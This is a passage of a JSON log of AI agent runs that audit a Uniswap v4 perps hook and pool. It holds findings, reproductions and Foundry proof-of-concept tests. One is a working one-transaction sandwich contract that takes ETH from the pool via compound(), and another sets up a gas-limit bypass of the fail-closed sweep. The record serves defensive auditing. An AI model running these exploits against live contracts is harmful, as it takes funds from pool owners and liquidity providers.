    coin = new Coin();\n        GraduatedCurve curve = new GraduatedCurve(address(coin), address(new Factory()));\n        coin.mint(OWNER, 2e27);\n        vm.deal(OWNER, 10 ether);\n        vm.startPrank(OWNER);\n        coin.approve(address(pool), type(uint256).max);\n        pool.open{value: 2 ether}(address(coin), address(curve), _sqrt(1e9) << 96, 2e27);\n        vm.stopPrank();\n        trader = new Trader(PM);\n        vm.deal(address(trader), 10 ether);\n    }\n\n    function test_anUnreadableGraduatedReferenceLeavesThePoolTrading() public {\n        PoolKey memory k = pool.poolKey();\n        // the reference cannot be read: the hook documents that the band is simply off and the trade goes through\n        BalanceDelta d = trader.swap(k, true, -0.01 ether);\n        assertGt(d.amount1(), 0, \"a 0.01 ETH buy must still trade when the Pons reference is unreadable\");\n    }\n\n    function _sqrt(uint256 x) internal pure returns (uint160 z) {\n        uint256 r = x; uint256 y = (x + 1) / 2;\n        while (y < r) { r = y; y = (x / y + y) / 2; }\n        z = uint160(r);\n    }\n}","reproduction":"Real v4 PoolManager offline. Curve mock: graduated() = true, getReserves() = (1 ether, 1e27), factory() = F where F.getLaunchedToken(address) reverts(\"layout changed\"). Owner opens the pool with that curve (hook.deviationBps() etc. are not needed to open). Trader.swap(key, true, -0.01 ether) reverts with the hook wrapping `Error(\"layout changed\")` (WrappedError(hook, beforeSwap selector 0x575e24b4, ...)). Expected per the hook's own documentation: the swap trades with the band off. test/scratch/GraduatedReferenceBricks.t.sol fails with that WrappedError and passes when ponsPriceX96 reads the graduated reference through `try this.graduatedPriceX96(c)`.","severity":"medium","snippet":"        try IPonsCurveView(c).factory() returns (address f) {\n            PonsLaunchedToken memory l = IPonsFactoryView(f).getLaunchedToken(IPonsCurveView(c).token());","title":"Graduated Pons reference read is not actually protected by the try/catch; a revert there closes the pool for good (no curve setter)"},{"citation":"resolved","description":"The header says feeBps and perpFeeBps \"remain only as what the engine reads to model its solvency, and must be kept equal to the pool's real fee\". The launch deploys with poolFeePips = 10000 (1% = 100 bps) but feeBps = 1000 (10%) and perpFeeBps = 100 (1%). The launch calls nothing after the constructor, so unless the owner remembers lowerFee(100) before wiring the engine, the engine models a 10% spot fee on every non-engine trade against a pool that charges 1%: its solvency and liquidation-threshold math (the whole point of the sweep) uses the wrong fee. lowerFee cannot raise it again and MIN_FEE_BPS = 100 means a pool fee under 1% could never be matched. Fix: derive feeBps (and the perp fee cap) from poolFeePips_ in the constructor (poolFeePips_ / 100), and drop or bound the independent setters.","line":111,"path":"src/IMD6900PerpHook.sol","reproduction":"new IMD6900PerpsLaunch(PM, 10000, owner, fee) then hook.feeBps() == 1000 and hook.poolFeePips() == 10000 (= 100 bps). Expected feeBps == 100. test_DeploysOnAFreshChain asserts poolFeePips but not feeBps.","severity":"low","snippet":"    uint256 public feeBps = 1_000;","title":"feeBps starts at 10% while the pool's real fee is 1%, although the engine must read it as the pool's real fee"},{"citation":"resolved","description":"Under the verification toolchain (forge 1.8.3, effective config dynamic_test_linking = true; it is not set in foundry.toml), a `new` of a src/ contract inside a test is rewritten into a `VM::deployCode(\"src/IMD6900PerpsLaunch.sol:IMD6900PerpsLaunch\", args)` cheatcode call, and cheatcode frames are not gas-metered for the caller. `g - gasleft()` therefore measures the cheatcode dispatch, not the constructor, and the assertion `used < 1 << 24` is vacuous: the README's claim that the one-transaction criterion is tested offline is not true in this environment. The real cost is visible in the trace: with -vvvv the create frame reads [3760732] at a lucky salt (646 tries) and the mining alone costs ~129 gas per try (2,347,923 gas for 18,199 tries measured in a src-free loop), so 16,384 expected tries put the launch near 5.7-6M gas and the 1-in-350 tail near 16M, close to the 2^24 bound the test claims to check and above many deployer gas ceilings. Fix: measure around a raw CREATE in assembly of the creation code (or an external helper that lives in src/), or read vm.lastCallGas(); and assert against the launch policy's actual gas ceiling rather than EIP-7825.","line":36,"path":"test/IMD6900PerpsLaunch.t.sol","reproduction":"`forge test --match-test test_FitsOneTransaction -vv` prints `launch gas (the mining included): 3760`; `forge test --match-test test_DeploysOnAFreshChain -vvvv` shows `VM::deployCode(...)` wrapping `[3760732] → new IMD6900PerpsLaunch` with inner frames `[1602938] new IMD6900PerpPool` and `[1909398] new IMD6900PerpHook`. A copy of IMD6900PerpPool placed under test/ (not rewritten) measures 1,637,283 gas by the same gasleft() method while the src/ original measures 3,597.","severity":"low","snippet":"        uint256 used = g - gasleft();","title":"test_FitsOneTransaction measures a cheatcode, not the launch: it reports 3,760 gas for a ~3.7M-10M gas constructor"},{"citation":"resolved","description":"Read in full: src/IMD6900PerpsLaunch.sol, src/IMD6900PerpHook.sol, src/IMD6900PerpPool.sol, script/Owner.s.sol, test/IMD6900Perps.t.sol, test/IMD6900PerpsLaunch.t.sol, test/RobinhoodFlow.fork.t.sol, README.md, the vendored BaseHook constructor (validates the mined flags), Solady Ownable._initializeOwner and SafeTransferLib.forceSafeTransferETH, and the protected probe (init code <= 49,152 bytes: the launch's creation code is 19,154 bytes; runtimes 308 / 8,855 / 7,886 bytes; no CALLCODE/DELEGATECALL/SELFDESTRUCT as opcodes, the 0xff in forceSafeTransferETH is PUSH data). Could not be reached (no ROBINHOOD_RPC_URL; the fork suite skipped): the PoolManager at 0x8366a39CC670B4001A1121B8F6A443A643e40951 (whether it is v4's PoolManager on chain 4663), the Pons launcher 0xE0aBb21F15766BE162429f46F494617eB5EF6Ba0, factory 0x7eD598BcEf8bd9Edd8C97A195C6d13f40801EC7e, the coin 0x69005D86d2c1bb1dFE70Df48e27D6aa02D044149 and its curve (so the IPonsCurveView/IPonsFactoryView/PonsLaunchedToken ABIs and getReserves semantics are unverified), the perps engine (src/perps/PerpEngine.sol is not in this repository), the launch policy's gas ceiling and the factory address whose CREATE2 result the salt mining depends on. Constructor arguments match the brief (PoolManager, 10000, owner, feeAddress; owner is a static address, not msg.sender/factory); the hook's flags equal FLAGS and use no return deltas or dynamic fee; the owner can always remove all liquidity (the hook's beforeRemoveLiquidity only checks caller and range; the pool's engine check is switched off by setPerpEngine(0)). Launch-forbidden patterns: no proxies, initializers, minting, pausing or balance seizure. Post-deployment configuration exists (open, setPerpEngine, setFeeSink, setSkim, setFeeExempt, lowerFee, setSweepFailOpen) but the brief explicitly keeps open and setPerpEngine; the rest is owner parameterization behind the same owner and is noted, not flagged.","line":17,"path":"src/IMD6900PerpsLaunch.sol","reproduction":"Not a defect. `forge test` offline: 12 passed, 1 skipped (RobinhoodFlowForkTest.setUp skips without ROBINHOOD_RPC_URL).","severity":"info","snippet":"contract IMD6900PerpsLaunch {","title":"Scope: what was read, what could not be reached, and launch-forbidden patterns"}],"hash":"16225d9bf7305cd7d778d6bc86106d9b3b59fd072e5df30990d4f4fff64ec112","nodeId":"d317ba48-68f1-4903-b3c9-7c0f520d3bd4","outcome":"completed","summary":"Review complete. The findings are in `.imd-findings.json` (6 entries, 3 with Foundry proofs under `test/scratch/`), and the repository's own files are unchanged.\n\n**What I found**\n\n- **High, `addLiquidity` refund** (src/IMD6900PerpPool.sol:155). The refund is computed from the PoolManager's caller delta, which v4 nets against the position's accrued fees. After five ordinary 0.1 ETH round trips, a donor adding 1e18 coin with 0.01 ETH is charged 0.005 ETH for liquidity that took about 1e9 wei. In the opposite regime the donor is refunded the protocol's fees. Proof fails now and passes when `unlockCallback` returns principal amounts for adds.\n- **Medium, band bypass** (src/IMD6900PerpHook.sol:394). The post-trade sweep runs before the band check. A liquidation inside it is a nested engine swap whose `beforeSwap` overwrites the transient DEV_SLOT with the sentinel, so the outer `TooFarFromPons` check returns early. With an engine wired, the 1 ETH buy the repo's own test shows refused goes through. Proof fails now and passes when DEV_SLOT is read before the sweep.\n- **Medium, graduated reference** (src/IMD6900PerpHook.sol:286). Only `factory()` sits inside the try. Reverts in `getLaunchedToken`, the struct decode, `graduated()` or `getReserves()` propagate and revert every ordinary swap. The pool has no `curve` setter, so the only recovery is removing liquidity and relaunching. Proof fails now and passes with the read moved behind an external self-call try.\n- **Low, `feeBps`** starts at 10% while the pool charges 1%, though the header says the engine must read it as the pool's real fee.\n- **Low, `test_FitsOneTransaction`** measures a cheatcode. This forge has `dynamic_test_linking = true`, which rewrites `new` of src contracts in tests into `vm.deployCode`, so the test reports 3,760 gas. The trace shows the real constructor at about 3.76 million gas with a lucky salt and roughly 5.7 to 6 million expected.\n- **Info, scope.** Read in full: all three src contracts, the script, all tests, README, the relevant vendored BaseHook and Solady code, and the protected probe. Init code is 19,154 bytes, runtimes are well under EIP-170, and the opcode scan passes. Not reachable offline: the Robinhood PoolManager, the Pons launcher, factory, coin and curve, the perps engine, the launch policy's gas ceiling, and the factory address the salt mining depends on.\n\nThe constructor arguments, hook flags, fee handling and the owner's ability to remove all liquidity match the brief. The existing suite passes offline with the fork test skipped.","treeHash":null,"usage":{"cachedInputTokens":2275705,"inputTokens":578,"model":"claude-fable-5-1","outputTokens":67153,"runtime":"claude","turns":30,"wallClockMs":1386611}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"f20ec62b0213db3f","findings":[{"citation":"resolved","description":"compound() is permissionless and reads the pool's current sqrtPrice from the PoolManager with no check against the Pons reference the hook otherwise holds the pool to, and no caller-independent price bound (minEth/minTokens only gate the contract's balances, not the price). The hook's band allows any swap that leaves the pool within maxDeviationBps (30%) of Pons, and always allows a swap back toward Pons. So an unprivileged searcher can, in one transaction: (1) buy coin with ETH, pushing the pool ~29% from Pons, inside the band; (2) call compound(0,0), which mints full-range liquidity from the pool's own pending ETH and coin at that pushed price; (3) sell all the coin back through the now deeper liquidity, which returns more ETH than was paid. The difference is the classic add-liquidity sandwich loss, borne by the pool contract (the protocol's own fee share and any coin the team sent for compounding). After the unwind the pool is also left off the Pons price (883 bps in the reproduction) because the compounded position was minted at the wrong ratio. Economics, measured against the vendored v4 PoolManager with the launch's 1% static fee: pool opened with 2 ETH + 2e27 coin at the Pons price (1e9 coin/ETH); pending 1 ETH + 1e27 coin; push 0.35 ETH; the searcher ends with +0.009259569872458111 ETH and zero coin, having paid the 1% fee both ways. A sweep over pending size and push size shows the sandwich is profitable once the pending balances reach roughly 25% of the pool's depth (0.5 ETH pending on a 2 ETH pool, 0.3 ETH push: +0.0013 ETH; 1 ETH pending, 0.38 ETH push: +0.0112 ETH) and loses to the fees below that. The same mechanism applies to a third party's addLiquidity() transaction (src/IMD6900PerpPool.sol:151-152), which also mints at the unchecked spot price; there the sandwich is a mempool front-run/back-run rather than atomic. Minimal fix that keeps compound permissionless: before minting, read the hook's deviationBps() and refuse (or require owner) when the pool is further from the Pons reference than a tight bound (a few hundred bps), and when the reference is unavailable (ponsPriceX96()==0) restrict compound to the owner; do the same check in addLiquidity. Owner-only compound with a caller-supplied sqrtPrice range would also close it.","line":170,"path":"src/IMD6900PerpPool.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {IPoolManager} from \"@uniswap/v4-core/src/interfaces/IPoolManager.sol\";\nimport {PoolManager} from \"@uniswap/v4-core/src/PoolManager.sol\";\nimport {PoolKey} from \"@uniswap/v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"@uniswap/v4-core/src/types/Currency.sol\";\nimport {BalanceDelta} from \"@uniswap/v4-core/src/types/BalanceDelta.sol\";\nimport {SwapParams} from \"@uniswap/v4-core/src/types/PoolOperation.sol\";\nimport {TickMath} from \"@uniswap/v4-core/src/libraries/TickMath.sol\";\nimport {IMD6900PerpsLaunch} from \"src/IMD6900PerpsLaunch.sol\";\nimport {IMD6900PerpHook} from \"src/IMD6900PerpHook.sol\";\nimport {IMD6900PerpPool} from \"src/IMD6900PerpPool.sol\";\n\ncontract SandwichCoin {\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n\n    function mint(address to, uint256 a) external {\n        balanceOf[to] += a;\n    }\n\n    function approve(address s, uint256 a) external returns (bool) {\n        allowance[msg.sender][s] = a;\n        return true;\n    }\n\n    function transfer(address to, uint256 a) external returns (bool) {\n        balanceOf[msg.sender] -= a;\n        balanceOf[to] += a;\n        return true;\n    }\n\n    function transferFrom(address f, address to, uint256 a) external returns (bool) {\n        if (allowance[f][msg.sender] != type(uint256).max) allowance[f][msg.sender] -= a;\n        balanceOf[f] -= a;\n        balanceOf[to] += a;\n        return true;\n    }\n}\n\n/// The Pons bonding curve, as the hook reads it, standing still at 1e9 coin per ETH\ncontract SandwichCurve {\n    address public token;\n\n    constructor(address token_) {\n        token = token_;\n    }\n\n    function getReserves() external pure returns (uint256, uint256) {\n        return (1 ether, 1e27);\n    }\n\n    function graduated() external pure returns (bool) {\n        return false;\n    }\n\n    function pairToken() external pure returns (address) {\n        return address(0);\n    }\n\n    function factory() external pure returns (address) {\n        return address(0);\n    }\n}\n\n/// An unprivileged searcher: push the pool price inside the band, call compound(), swap back. One transaction.\ncontract Sandwicher {\n    IPoolManager immutable pm;\n    IMD6900PerpPool immutable pool;\n    SandwichCoin immutable coin;\n    PoolKey key;\n\n    constructor(IPoolManager pm_, IMD6900PerpPool pool_, SandwichCoin coin_) {\n        pm = pm_;\n        pool = pool_;\n        coin = coin_;\n        key = pool_.poolKey();\n    }\n\n    function attack(uint256 ethIn) external {\n        _swap(true, -int256(ethIn)); // buy coin: the pool price moves away from Pons, inside the band\n        pool.compound(0, 0); // the pool pairs its pending ETH and coin at the pushed price\n        _swap(false, -int256(coin.balanceOf(address(this)))); // sell everything back, through deeper liquidity\n    }\n\n    function _swap(bool buy, int256 amt) internal {\n        pm.unlock(abi.encode(buy, amt));\n    }\n\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        (bool buy, int256 amt) = abi.decode(data, (bool, int256));\n        BalanceDelta d =\n            pm.swap(key, SwapParams(buy, amt, buy ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1), \"\");\n        _settle(key.currency0, d.amount0());\n        _settle(key.currency1, d.amount1());\n        return \"\";\n    }\n\n    function _settle(Currency c, int128 v) internal {\n        if (v < 0) {\n            if (c.isAddressZero()) {\n                pm.settle{value: uint128(-v)}();\n            } else {\n                pm.sync(c);\n                coin.transfer(address(pm), uint128(-v));\n                pm.settle();\n            }\n        } else if (v > 0) {\n            pm.take(c, address(this), uint128(v));\n        }\n    }\n\n    receive() external payable {}\n}\n\ncontract CompoundSandwichTest is Test {\n    address constant OWNER = address(0xA11CE);\n    IPoolManager PM;\n    IMD6900PerpHook hook;\n    IMD6900PerpPool pool;\n    SandwichCoin coin;\n    SandwichCurve curve;\n\n    function setUp() public {\n        PM = IPoolManager(address(new PoolManager(address(this))));\n        IMD6900PerpsLaunch l = new IMD6900PerpsLaunch(PM, 10_000, OWNER, OWNER);\n        hook = l.hook();\n        pool = l.pool();\n        coin = new SandwichCoin();\n        curve = new SandwichCurve(address(coin));\n        coin.mint(OWNER, 2e27);\n        vm.deal(OWNER, 2 ether);\n        vm.startPrank(OWNER);\n        coin.approve(address(pool), type(uint256).max);\n        // 2 ETH and 2e27 coin at the Pons price (1e9 coin per ETH), as the owner's script opens it\n        pool.open{value: 2 ether}(address(coin), address(curve), _sqrt(1e9) << 96, 2e27);\n        vm.stopPrank();\n    }\n\n    /// Pending balances waiting for compound(): the fee share and coin the team sent the pool (half the pool's depth)\n    function test_SearcherExtractsValueByCompoundingAtAPushedPrice() public {\n        vm.deal(address(pool), 1 ether);\n        coin.mint(address(pool), 1e27);\n        (uint256 pendingEth, uint256 pendingCoin) = pool.pending();\n        assertEq(pendingEth, 1 ether);\n        assertEq(pendingCoin, 1e27);\n\n        Sandwicher s = new Sandwicher(PM, pool, coin);\n        vm.deal(address(s), 1 ether);\n        uint256 ethBefore = address(s).balance;\n        uint128 liqBefore = pool.liquidity();\n\n        // ~29% move: inside the 30% band, so the hook lets it through. A fixed compound() may instead refuse to\n        // pair at a pushed price, which reverts the whole attack: that counts as no profit too.\n        (bool ok,) = address(s).call(abi.encodeCall(s.attack, (0.35 ether)));\n\n        if (ok) {\n            emit log_named_decimal_int(\n                \"searcher pnl, ETH (after paying 1% fee both ways)\", int256(address(s).balance) - int256(ethBefore), 18\n            );\n            emit log_named_uint(\"pool deviation from Pons after, bps\", hook.deviationBps());\n            assertEq(coin.balanceOf(address(s)), 0, \"all the coin sold back\");\n            assertGt(pool.liquidity(), liqBefore, \"compound ran at the pushed price\");\n        }\n        assertLe(address(s).balance, ethBefore, \"a round trip through the pool must never pay the searcher\");\n    }\n\n    /// Control: with pending balances of zero, the same round trip loses the fees and nothing more\n    function test_WithoutPendingTheRoundTripOnlyPaysFees() public {\n        Sandwicher s = new Sandwicher(PM, pool, coin);\n        vm.deal(address(s), 1 ether);\n        uint256 ethBefore = address(s).balance;\n        vm.expectRevert(); // compound reverts: nothing to pair\n        s.attack(0.35 ether);\n        assertEq(address(s).balance, ethBefore);\n    }\n\n    function _sqrt(uint256 x) internal pure returns (uint160 z) {\n        uint256 r = x;\n        uint256 y = (x + 1) / 2;\n        while (y < r) {\n            r = y;\n            y = (x / y + y) / 2;\n        }\n        z = uint160(r);\n    }\n}","reproduction":"State: launch deployed (fee 10000), owner opens the pool with 2 ether and 2e27 coin at sqrtPrice for 1e9 coin/ETH (the Pons curve price); the pool contract holds 1 ether and 1e27 coin pending (pool.pending() == (1e18, 1e27)). Searcher contract with 1 ether, one transaction: pm.unlock -> pm.swap(key, zeroForOne=true, amountSpecified=-0.35e18, MIN_SQRT_PRICE+1) and settle (hook afterSwap passes: deviation < 3000 bps); pool.compound(0,0) (succeeds, liquidity increases); pm.unlock -> pm.swap(key, zeroForOne=false, amountSpecified=-coin.balanceOf(searcher), MAX_SQRT_PRICE-1) and settle. Expected: a round trip through a fee-charging pool never pays the caller (searcher balance <= 1 ether). Actual: searcher balance 1.009259569872458111 ether, 0 coin; the pool's position + pending lost 0.00926 ETH and the pool sits 883 bps from Pons. Control: with no pending balances the same sequence reverts at compound (ZeroLiquidity) and the searcher's balance is unchanged. Run: forge test --match-path test/scratch/CompoundSandwich.t.sol -vv","severity":"medium","snippet":"        (uint160 sqrtPriceX96,,,) = poolManager.getSlot0(poolKey().toId());\n        liq = _fullRangeLiquidity(sqrtPriceX96, ethHave, tokensHave);","title":"compound() pairs the pool's pending ETH and coin at an unchecked spot price: a one-transaction push-compound-unwind sandwich takes ETH from the pool"},{"citation":"resolved","description":"The only way value leaves the IMD6900PerpPool contract's own balances is compound(), which mints full-range liquidity and needs BOTH ETH and coin (with tokensHave == 0, _fullRangeLiquidity returns 0 and compound reverts ZeroLiquidity). removeLiquidity() withdraws the v4 position only and never touches the contract's balance; there is no owner function for the contract's own ETH or coin. The comment at lines 160-164 says the coin side is 'the coin the hook skimmed from arbitrageurs', but this hook takes nothing (no return deltas; afterSwap returns 0), so in this launch nothing ever delivers coin to the pool contract except a manual transfer by the owner. The ETH side, by contrast, arrives on its own: script/Owner.s.sol wire() routes 10% of the coin's creator fees to address(pool), and hook.flush() forwards stray ETH to it while feeSink is unset. So the fee share accumulates in the contract with no path to depth or to the owner until the owner fronts matching coin at the current price (about 1e9 coin per ETH in the fixture), compounds, and removes; each cycle leaves the unmatched remainder behind. This contradicts the stated purpose that compound 'turns the fee share into depth' and weakens the migration story ('take the liquidity out, open the new pool with it'): the migration leaves the fee share behind. It is recoverable with extra capital, hence low. Minimal fix preserving the design: an onlyOwner withdrawal of the contract's own balances (not the position), e.g. withdrawPending(ethTo, tokensTo), or let compound pair a single side by swapping part of it through the pool.","line":171,"path":"src/IMD6900PerpPool.sol","reproduction":"State: pool opened (2 ether + 2e27 coin at 1e9 coin/ETH). Send 1 ether to address(pool) (as the launcher's payee split does): pool.pending() == (1e18, 0). Call pool.compound(0,0): reverts ZeroLiquidity (expected: the fee share becomes depth or is withdrawable). As owner call pool.removeLiquidity(pool.liquidity(), OWNER, OWNER): the position is fully withdrawn but address(pool).balance is still 1 ether and no function returns it. Only after minting 1e27 coin to the pool, calling compound(0,0) and removing again does the ETH reach the owner, leaving 4.9e22 coin behind. Run: forge test --match-path test/scratch/Sweep.t.sol --match-test test_PendingEthWithoutCoinHasNoExit -vv","severity":"low","snippet":"        liq = _fullRangeLiquidity(sqrtPriceX96, ethHave, tokensHave);\n        if (liq == 0) revert ZeroLiquidity();","title":"The pool contract's own ETH (the creator-fee share) has no withdrawal path and cannot be compounded alone: this hook never supplies the coin side"}],"hash":"507a6b63c9527bf6d2957ef82410eb842ae0328905ec95dc1006182232ed98e4","nodeId":"10075747-dea8-4880-b0e4-99af4deabafe","outcome":"completed","summary":"Review complete. The findings file is written and validated, no tracked file was changed, and the scratch tests live only under `test/scratch/`.\n\n**What I found in my area (Economic Security, Invariant, Flow Gap)**\n\n1. **Medium: `compound()` mints at an unchecked spot price**, so a one-transaction sandwich takes ETH from the pool. A searcher buys coin to push the pool about 29% from Pons, which the 30% band allows, calls the permissionless `compound()`, then sells everything back through the deeper liquidity. Measured against the vendored v4 PoolManager with the launch's 1% fee, pool at 2 ETH plus 2e27 coin and pending balances at half that depth, the searcher nets +0.00926 ETH after fees and leaves the pool 883 bps off Pons. A sweep shows it turns profitable once pending reaches roughly a quarter of the pool's depth. The same unchecked price applies to third-party `addLiquidity()`, non-atomically. The proof test fails on the current code and is attached. Suggested fix keeps compound permissionless but refuses to mint when the hook's deviation from Pons exceeds a tight bound, with owner-only fallback when the reference is unavailable.\n\n2. **Low: the pool contract's own ETH has no exit without the owner fronting coin.** The creator-fee share and flushed stray ETH land in the contract, but `compound()` needs both sides and this hook never skims coin despite the comment saying it does. `removeLiquidity()` only withdraws the v4 position. Reproduced: 1 ETH sent to the pool, compound reverts with ZeroLiquidity, full removal leaves the 1 ETH behind, and only minting 1e27 coin to the pool frees it. Suggested fix is an owner-only withdrawal of the contract's own balances.\n\n**Coverage**: all 39 listed entry points have a row, plus five invariant rows. Two entry points and two invariants map to the findings; the rest trace as intended, including the required property that the owner can always take all liquidity back. I did not reach the live Pons launcher's ABI, so whether it implements `addFees()` for the fee-sink wiring is unverified and noted as owner-recoverable rather than reported.","treeHash":null,"usage":{"cachedInputTokens":2151194,"inputTokens":546,"model":"claude-fable-5-1","outputTokens":45084,"runtime":"claude","turns":40,"wallClockMs":866443}},{"artifacts":[],"attempt":1,"bundleHash":"42e715cf84b9f63a84db19dacdae05f1ed3c3255beb61917929efa6f75096cc4","device":"70dd8643efb15b75","findings":[],"hash":"5bfa08b51b56fbe93720dfac782b965a14de4bedab507bfa3ccb83003d2d2e0f","nodeId":"3404571d-35e1-4f64-8843-1f69e78013b8","outcome":"completed","summary":"Created [launch.json](/root/.identitymd/work/62006106-af99-42ba-9c41-028e2ad94d94/3404571d-35e1-4f64-8843-1f69e78013b8/launch.json) for `IMD6900PerpsLaunch`, using `$owner` and the specified constructor values. Manifest structure and compiled ABI checks passed.\n\nOffline build passed. Tests: 38 passed, 0 failed; Robinhood fork skipped because `ROBINHOOD_RPC_URL` was unset.\n\nOnly `launch.json` is included in the deliverable.","treeHash":"d02902a1d1f5304c1e7340466f7ac4cffceaba82","usage":{"cachedInputTokens":389248,"inputTokens":33934,"model":"gpt-6-astra","outputTokens":3227,"runtime":"codex","turns":5,"wallClockMs":169504}},{"artifacts":[],"attempt":1,"bundleHash":"554bf81d11cfaefdc363a3e0f2470b1ceb309e4d0b446154689560c2dc68e7c9","device":"68fdf4cb027a7a1f","findings":[],"hash":"8f2845869d36621963d8ccc950b5ec02bb818ca540d13135aeb3ee72575ee125","nodeId":"e249a2d6-9272-427d-93d0-6fb647233259","outcome":"completed","summary":"Implemented all five reproduced audit fixes, preserving launch arguments, hook flags, fee collection and owner withdrawals.\n\n`forge build` and `forge test` passed: 38 delivered tests plus 5 scratch checks. Robinhood fork skipped because no RPC was configured.\n\nChanges and deployment gas-limit caveats are documented in [ADAPTATION.md](/root/.identitymd/work/62006106-af99-42ba-9c41-028e2ad94d94/e249a2d6-9272-427d-93d0-6fb647233259/ADAPTATION.md). Protected configuration and dependencies remain unchanged.","treeHash":"cc452b429a466eb6378156f1a64742b87fb23ac0","usage":{"cachedInputTokens":2982400,"inputTokens":128287,"model":"gpt-6-astra","outputTokens":29319,"runtime":"codex","turns":8,"wallClockMs":806282}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"ef31844bb462de78","findings":[{"citation":"resolved","description":"Asymmetry between the two gas branches of IMD6900PerpHook._sweep (src/IMD6900PerpHook.sol:441-463) for the pre-trade sweep (spec != 0). In the well-gassed branch (gasleft() > SWEEP_GAS_RESERVE + 2*SWEEP_GAS_MIN = 980_000 at the time of the check), an engine whose sweepLiquidations call fails or returns fewer than 32 bytes reverts the trade with SweepUnavailable unless the owner set sweepFailOpen (lines 451-454): fail closed, as the contract header promises ('A sweep that cannot finish reverts the trade. NO BAD DEBT outranks always-tradeable') and as test/RobinhoodFlow.fork.t.sol asserts ('the hook's engine can stop swaps (fail closed)'). In the low-gas branch (lines 458-462) the same unavailable engine is tolerated: openCount() is read with staticcall, and when that read fails (ok == false) or returns fewer than 32 bytes, the condition on line 461 is false and the trade proceeds unswept. sweepFailOpen is not consulted. The trader picks the branch: a swap sent with a ~700k gas limit lands in the low-gas branch (a swap through this hook costs ~200k, so it completes), and the whole fail-closed property reduces to an opt-in the trader can decline. Preconditions: the hook's perpEngine is set and its calls fail (reverting engine, engine behind a proxy with a broken or re-ABI'd implementation, an engine address without code), while positions are open. This is exactly the state the owner's sweepFailOpen switch exists for; the low-gas branch grants it to everyone without the owner's decision. Impact: trades move the pool price while sunk positions are not liquidated first, which is the bad-debt scenario the sweep is designed out. Minimal fix preserving the design: in the else-if branch mirror the main branch's failure handling, e.g. `if (!ok || ret.length < 32) { if (!sweepFailOpen) revert SweepUnavailable(); return; }` before the openCount test, so an unreadable engine is refused in both branches unless the owner opened the hatch.","line":461,"path":"src/IMD6900PerpHook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {IPoolManager} from \"@uniswap/v4-core/src/interfaces/IPoolManager.sol\";\nimport {PoolKey} from \"@uniswap/v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"@uniswap/v4-core/src/types/Currency.sol\";\nimport {BalanceDelta} from \"@uniswap/v4-core/src/types/BalanceDelta.sol\";\nimport {SwapParams} from \"@uniswap/v4-core/src/types/PoolOperation.sol\";\nimport {TickMath} from \"@uniswap/v4-core/src/libraries/TickMath.sol\";\nimport {PoolManager} from \"@uniswap/v4-core/src/PoolManager.sol\";\nimport {IMD6900PerpsLaunch} from \"src/IMD6900PerpsLaunch.sol\";\nimport {IMD6900PerpHook} from \"src/IMD6900PerpHook.sol\";\nimport {IMD6900PerpPool} from \"src/IMD6900PerpPool.sol\";\n\ncontract ScratchCoin {\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n\n    function mint(address to, uint256 a) external {\n        balanceOf[to] += a;\n    }\n\n    function approve(address s, uint256 a) external returns (bool) {\n        allowance[msg.sender][s] = a;\n        return true;\n    }\n\n    function transfer(address to, uint256 a) external returns (bool) {\n        balanceOf[msg.sender] -= a;\n        balanceOf[to] += a;\n        return true;\n    }\n\n    function transferFrom(address f, address to, uint256 a) external returns (bool) {\n        if (allowance[f][msg.sender] != type(uint256).max) allowance[f][msg.sender] -= a;\n        balanceOf[f] -= a;\n        balanceOf[to] += a;\n        return true;\n    }\n}\n\ncontract ScratchCurve {\n    uint256 public q;\n    uint256 public t;\n    address public token;\n\n    constructor(address token_, uint256 q_, uint256 t_) {\n        token = token_;\n        q = q_;\n        t = t_;\n    }\n\n    function getReserves() external view returns (uint256, uint256) {\n        return (q, t);\n    }\n\n    function graduated() external pure returns (bool) {\n        return false;\n    }\n\n    function pairToken() external pure returns (address) {\n        return address(0);\n    }\n\n    function factory() external pure returns (address) {\n        return address(0);\n    }\n}\n\ncontract ScratchTrader {\n    IPoolManager immutable pm;\n    PoolKey key;\n\n    constructor(IPoolManager pm_) {\n        pm = pm_;\n    }\n\n    function swap(PoolKey calldata k, bool buy, int256 amountSpecified) external payable returns (BalanceDelta d) {\n        key = k;\n        d = abi.decode(pm.unlock(abi.encode(buy, amountSpecified)), (BalanceDelta));\n    }\n\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        (bool buy, int256 amt) = abi.decode(data, (bool, int256));\n        BalanceDelta d =\n            pm.swap(key, SwapParams(buy, amt, buy ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1), \"\");\n        _settle(key.currency0, d.amount0());\n        _settle(key.currency1, d.amount1());\n        return abi.encode(d);\n    }\n\n    function _settle(Currency c, int128 v) internal {\n        if (v < 0) {\n            if (c.isAddressZero()) {\n                pm.settle{value: uint128(-v)}();\n            } else {\n                pm.sync(c);\n                ScratchCoin(Currency.unwrap(c)).transfer(address(pm), uint128(-v));\n                pm.settle();\n            }\n        } else if (v > 0) {\n            pm.take(c, address(this), uint128(v));\n        }\n    }\n\n    receive() external payable {}\n}\n\n/// @dev The repository's own model of an engine whose sweep cannot run (test/RobinhoodFlow.fork.t.sol BrokenEngine)\ncontract ScratchBrokenEngine {\n    fallback() external {\n        revert(\"broken\");\n    }\n}\n\n/// The hook promises that a trade whose pre-trade liquidation sweep cannot run is refused (\"fail closed\") unless the\n/// owner has set sweepFailOpen. That holds only when the trader supplies more than ~980k gas. With less, the\n/// `else if (spec != 0)` branch of IMD6900PerpHook._sweep treats a failed openCount() read as \"no positions\" and lets\n/// the trade through: any trader bypasses fail-closed by choosing their gas limit.\ncontract SweepLowGasFailsOpenTest is Test {\n    IPoolManager PM;\n    address constant OWNER = address(0xA11CE);\n    IMD6900PerpHook hook;\n    IMD6900PerpPool pool;\n    ScratchCoin coin;\n    ScratchTrader trader;\n\n    function setUp() public {\n        